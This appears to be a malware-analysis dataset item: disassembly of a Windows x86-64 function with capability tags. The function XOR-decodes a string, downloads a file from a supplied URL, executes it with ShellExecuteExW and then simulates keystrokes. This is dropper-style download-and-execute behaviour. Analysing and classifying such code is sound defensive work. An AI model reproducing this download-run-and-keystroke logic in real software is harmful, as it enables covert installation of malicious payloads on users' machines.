Function at 0x1400399d0
Capabilities:
Create process on windows
Download url
Encode data using xor
Receive data

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xf0
mov rax, qword [0x1404600c0]
xor rax, rsp
mov qword [rbp + 0x27], rax
mov rdi, rdx
mov rsi, rcx
xorps xmm0, xmm0
movups xmmword [rbp + 7], xmm0
xor r14d, r14d
mov qword [rbp + 0x17], r14
mov qword [rbp + 0x1f], r14
or r8, 0xffffffffffffffff
inc r8
cmp word [rdx + r8*2], r14w
jne 0x140039a12
lea rcx, [rbp + 7]
call fcn.140046c9c
nop
lea rax, [rbp + 7]
mov rdx, qword [rbp + 0x1f]
cmp rdx, 7
cmova rax, qword [rbp + 7]
mov rcx, qword [rbp + 0x17]
mov r9d, 0x5c
cmp word [rax + rcx*2 - 2], r9w
je 0x140039a72
cmp rcx, rdx
jae 0x140039a69
lea rax, [rcx + 1]
mov qword [rbp + 0x17], rax
lea rax, [rbp + 7]
cmp rdx, 7
cmova rax, qword [rbp + 7]
mov dword [rax + rcx*2], r9d
jmp 0x140039a72
lea rcx, [rbp + 7]
call fcn.14004688c
movups xmm0, xmmword [str.U__XT]
movups xmmword [rsp + 0x38], xmm0
mov eax, dword [0x14044ed80]
mov dword [rbp - 0x71], eax
mov ebx, 1
lea r15d, [rbx + 1]
cmp word [0x14044ed82], r14w
je 0x140039ace
mov r8d, r14d
lea r9, [rsp + 0x38]
mov eax, 0x8d3dcb09
mul r8d
shr edx, 5
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
sub ax, cx
add ax, 0x36
xor word [r9], ax
add r8d, ebx
add r9, r15
cmp r8d, 0xa
jl 0x140039aa2
lea rdx, [rsp + 0x38]
lea rcx, [rbp + 7]
call fcn.1400447b8
lea r8, [rbp + 7]
cmp qword [rbp + 0x1f], 7
cmova r8, qword [rbp + 7]
mov qword [rsp + 0x20], r14
xor r9d, r9d
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
js 0x140039c59
mov dword [rbp - 0x69], reloc.WS2_32.dll_WSASetLastError
xor edx, edx
lea r8d, [rdx + 0x6c]
lea rcx, [rbp - 0x65]
call sub.VCRUNTIME140.dll_memset
lea rax, [rbp + 7]
cmp qword [rbp + 0x1f], 7
cmova rax, qword [rbp + 7]
mov qword [rbp - 0x51], rax
mov qword [rbp - 0x41], rdi
mov dword [rbp - 0x39], 5
lea rcx, [rbp - 0x69]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x140039c59
lea rcx, [rsp + 0x30]
call fcn.140032a14
movabs r8, 0x7ffffffffd050f7f
mov rax, qword [rsp + 0x30]
cmp rax, r8
je 0x140039b7e
mov ecx, ebx
mov edx, 0xff
cmovl ecx, edx
test cl, cl
jns 0x140039b7e
add rax, 0x2faf080
jmp 0x140039b88
movabs rax, 0x7fffffffffffffff
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x30]
call fcn.140047a24
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov cl, 0x43
call qword [sym.imp.USER32.dll_keybd_event]
xor r9d, r9d
mov r8d, r15d
xor edx, edx
mov cl, 0x43
call qword [sym.imp.USER32.dll_keybd_event]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov cl, 0x4c
call qword [sym.imp.USER32.dll_keybd_event]
xor r9d, r9d
mov r8d, r15d
xor edx, edx
mov cl, 0x4c
call qword [sym.imp.USER32.dll_keybd_event]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov cl, 0x45
call qword [sym.imp.USER32.dll_keybd_event]
xor r9d, r9d
mov r8d, r15d
xor edx, edx
mov cl, 0x45
call qword [sym.imp.USER32.dll_keybd_event]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov cl, 0x41
call qword [sym.imp.USER32.dll_keybd_event]
xor r9d, r9d
mov r8d, r15d
xor edx, edx
mov cl, 0x41
call qword [sym.imp.USER32.dll_keybd_event]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov cl, Ordinal_79
call qword [sym.imp.USER32.dll_keybd_event]
xor r9d, r9d
mov r8d, r15d
xor edx, edx
mov cl, Ordinal_79
call qword [sym.imp.USER32.dll_keybd_event]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov cl, reloc.WS2_32.dll_listen
call qword [sym.imp.USER32.dll_keybd_event]
xor r9d, r9d
mov r8d, r15d
xor edx, edx
mov cl, reloc.WS2_32.dll_listen
call qword [sym.imp.USER32.dll_keybd_event]
jmp 0x140039c5c
mov bl, r14b
lea rcx, [rbp + 7]
call fcn.14004531c
mov al, bl
mov rcx, qword [rbp + 0x27]
xor rcx, rsp
call fcn.1400a97e0
mov rbx, qword [rsp + 0x130]
add rsp, 0xf0
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret